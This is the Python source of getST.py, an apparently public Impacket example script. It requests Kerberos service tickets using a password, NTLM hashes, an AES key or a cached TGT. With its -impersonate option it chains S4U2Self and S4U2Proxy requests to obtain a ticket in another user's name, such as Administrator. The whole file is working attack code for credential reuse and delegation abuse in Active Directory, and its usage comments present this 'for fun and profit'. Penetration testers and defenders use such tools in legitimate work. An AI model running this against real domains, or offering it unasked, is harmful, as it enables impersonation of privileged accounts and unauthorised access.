getST.py

#!/usr/bin/env python
# Copyright (c) 2016-2018 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
#  Alberto Solino (@agsolino)
#
# Description:
#    Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache
#    If the account has constrained delegation (with protocol transition) privileges you will be able to use
#    the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to
#    request the ticket.)
#
#    Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u)
#
# Examples:
#
#         ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user
# or
# If you have tickets cached (run klist to verify) the script will use them
#         ./getST.py -k -spn cifs/contoso-dc contoso.com/user
# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets
# by default.
#
# Also, if the account is configured with unconstrained delegation (with protocol transition) you can request
# service tickets for other users, assuming the target SPN is allowed for delegation:
#         ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user
#
# The output of this script will be a service ticket for the Administrator user.
#
# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit.
#
import argparse
import datetime
import logging
import os
import random
import struct
import sys
from binascii import unhexlify

from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue

from impacket import version
from impacket.examples import logger
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \
    Ticket as TicketAsn1, EncTGSRepPart
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5
from impacket.krb5.kerberosv5 import getKerberosTGS
from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.winregistry import hexdump


class GETST:
    def __init__(self, target, password, domain, options):
        self.__password = password
        self.__user= target
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = options.aesKey
        self.__options = options
        self.__kdcHost = options.dc_ip
        self.__saveFileName = None
        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(':')

    def saveTicket(self, ticket, sessionKey):
        logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache'))
        ccache = CCache()

        ccache.fromTGS(ticket, sessionKey, sessionKey)
        ccache.saveFile(self.__saveFileName + '.ccache')

    def doS4U(self, tgt, cipher, oldSessionKey, sessionKey):
        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]

        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] =  constants.encodeFlags(opts)
        seq_set(apReq,'ticket', ticket.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = str(decodedTGT['crealm'])

        clientName = Principal()
        clientName.from_asn1( decodedTGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow()
        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('AUTHENTICATOR')
            print authenticator.prettyPrint()
            print ('\n')

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 7
        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
        # TGS authenticator subkey), encrypted with the TGS session
        # key (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq = TGS_REQ()

        tgsReq['pvno'] =  5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)

        tgsReq['padata'] = noValue
        tgsReq['padata'][0] = noValue
        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
        # requests a service ticket to itself on behalf of a user. The user is
        # identified to the KDC by the user's name and realm.
        clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)

        S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
        S4UByteArray += self.__options.impersonate + self.__domain + 'Kerberos'

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('S4UByteArray')
            hexdump(S4UByteArray)

        # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
        # with the following three parameters: the session key of the TGT of
        # the service performing the S4U2Self request, the message type value
        # of 17, and the byte array S4UByteArray.
        checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('CheckSum')
            hexdump(checkSum)

        paForUserEnc = PA_FOR_USER_ENC()
        seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
        paForUserEnc['userRealm'] = self.__domain
        paForUserEnc['cksum'] = noValue
        paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
        paForUserEnc['cksum']['checksum'] = checkSum
        paForUserEnc['auth-package'] = 'Kerberos'

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('PA_FOR_USER_ENC')
            print paForUserEnc.prettyPrint()

        encodedPaForUserEnc = encoder.encode(paForUserEnc)

        tgsReq['padata'][1] = noValue
        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
        tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc

        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
        opts.append( constants.KDCOptions.forwardable.value )
        opts.append( constants.KDCOptions.renewable.value )
        opts.append( constants.KDCOptions.canonicalize.value )

        reqBody['kdc-options'] = constants.encodeFlags(opts)

        serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value)

        seq_set(reqBody, 'sname', serverName.components_to_asn1)
        reqBody['realm'] = str(decodedTGT['crealm'])

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.getrandbits(31)
        seq_set_iter(reqBody, 'etype',
                      (int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('Final TGS')
            print tgsReq.prettyPrint()

        logging.info('\tRequesting S4U2self')
        message = encoder.encode(tgsReq)

        r = sendReceive(message, self.__domain, None)

        tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('TGS_REP')
            print tgs.prettyPrint()

        ################################################################################
        # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
        # So here I have a ST for me.. I now want a ST for another service
        # Extract the ticket from the TGT
        ticketTGT = Ticket()
        ticketTGT.from_asn1(decodedTGT['ticket'])

        ticket = Ticket()
        ticket.from_asn1(tgs['ticket'])

        apReq = AP_REQ()
        apReq['pvno'] = 5
        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)

        opts = list()
        apReq['ap-options'] =  constants.encodeFlags(opts)
        seq_set(apReq,'ticket', ticketTGT.to_asn1)

        authenticator = Authenticator()
        authenticator['authenticator-vno'] = 5
        authenticator['crealm'] = str(decodedTGT['crealm'])

        clientName = Principal()
        clientName.from_asn1( decodedTGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow()
        authenticator['cusec'] = now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 7
        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
        # TGS authenticator subkey), encrypted with the TGS session
        # key (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

        apReq['authenticator'] = noValue
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq = TGS_REQ()

        tgsReq['pvno'] = 5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
        tgsReq['padata'] = noValue
        tgsReq['padata'][0] = noValue
        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        reqBody = seq_set(tgsReq, 'req-body')

        opts = list()
        # This specified we're doing S4U
        opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
        opts.append(constants.KDCOptions.canonicalize.value)
        opts.append(constants.KDCOptions.forwardable.value)
        opts.append(constants.KDCOptions.renewable.value)

        reqBody['kdc-options'] = constants.encodeFlags(opts)
        service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
        seq_set(reqBody, 'sname', service2.components_to_asn1)
        reqBody['realm'] = self.__domain

        myTicket = ticket.to_asn1(TicketAsn1())
        seq_set_iter(reqBody, 'additional-tickets', (myTicket,))

        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)

        reqBody['till'] = KerberosTime.to_asn1(now)
        reqBody['nonce'] = random.getrandbits(31)
        seq_set_iter(reqBody, 'etype',
                         (
                             int(constants.EncryptionTypes.rc4_hmac.value),
                             int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
                             int(constants.EncryptionTypes.des_cbc_md5.value),
                             int(cipher.enctype)
                         )
                     )
        message = encoder.encode(tgsReq)

        logging.info('\tRequesting S4U2Proxy')
        r = sendReceive(message, self.__domain, None)

        tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]

        cipherText = tgs['enc-part']['cipher']

        # Key Usage 8
        # TGS-REP encrypted part (includes application session
        # key), encrypted with the TGS session key (Section 5.4.2)
        plainText = cipher.decrypt(sessionKey, 8, str(cipherText))

        encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]

        newSessionKey = Key(encTGSRepPart['key']['keytype'], str(encTGSRepPart['key']['keyvalue']))

        # Creating new cipher based on received keytype
        cipher = _enctype_table[encTGSRepPart['key']['keytype']]

        return r, cipher, sessionKey, newSessionKey

    def run(self):

        # Do we have a TGT cached?
        tgt = None
        try:
            ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
            principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper())
            creds = ccache.getCredential(principal)
            if creds is not None:
                # ToDo: Check this TGT belogns to the right principal
                TGT = creds.toTGT()
                tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']
                oldSessionKey = sessionKey
                logging.info('Using TGT from cache')
            else:
                logging.debug("No valid credentials found in cache. ")
        except:
            # No cache present
            pass

        if tgt is None:
            # Still no TGT
            userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
            logging.info('Getting TGT for user')
            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                    unhexlify(self.__lmhash), unhexlify(self.__nthash),
                                                                    self.__aesKey,
                                                                    self.__kdcHost)

        # Ok, we have valid TGT, let's try to get a service ticket
        if self.__options.impersonate is None:
            # Normal TGS interaction
            logging.info('Getting ST for user')
            serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey)
            self.__saveFileName = self.__user
        else:
            # Here's the rock'n'roll
            try:
                logging.info('Impersonating %s' % self.__options.impersonate)
                tgs, copher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey)
            except Exception as e:
                logging.error(str(e))
                if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:
                    logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user)
                if str(e).find('KDC_ERR_BADOPTION') >= 0:
                    logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user)

                return
            self.__saveFileName = self.__options.impersonate

        self.saveTicket(tgs,oldSessionKey)

if __name__ == '__main__':
    # Init the example's logger theme
    logger.init()
    print version.BANNER

    parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a "
                                                                "TGT and save it as ccache")
    parser.add_argument('identity', action='store', help='[domain/]username[:password]')
    parser.add_argument('-spn', action="store", required=True,  help='SPN (service/server) of the target service the '
                                                                     'service ticket will' ' be generated for')
    parser.add_argument('-impersonate', action="store",  help='target username that will be impersonated (thru S4U2Self)'
                                                              ' for quering the ST. Keep in mind this will only work if '
                                                              'the identity provided in this scripts is allowed for '
                                                              'delegation to the SPN specified')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')

    group = parser.add_argument_group('authentication')

    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
                       'ones specified in the command line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')
    group.add_argument('-dc-ip', action='store',metavar = "ip address",  help='IP Address of the domain controller. If '
                       'ommited it use the domain part (FQDN) specified in the target parameter')

    if len(sys.argv)==1:
        parser.print_help()
        print "\nExamples: "
        print "\t./getTGT.py -hashes lm:nt contoso.com/user\n"
        print "\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked"
        sys.exit(1)

    options = parser.parse_args()

    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
    else:
        logging.getLogger().setLevel(logging.INFO)


    import re
    domain, username, password = re.compile('(?:(?:([^/:]*)/)?([^:]*)(?::([^@]*))?)?').match(options.identity).groups(
        '')

    try:
        if domain is None:
            logging.critical('Domain should be specified!')
            sys.exit(1)

        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
            from getpass import getpass
            password = getpass("Password:")

        if options.aesKey is not None:
            options.k = True

        executer = GETST(username, password, domain, options)
        executer.run()
    except Exception, e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        print str(e)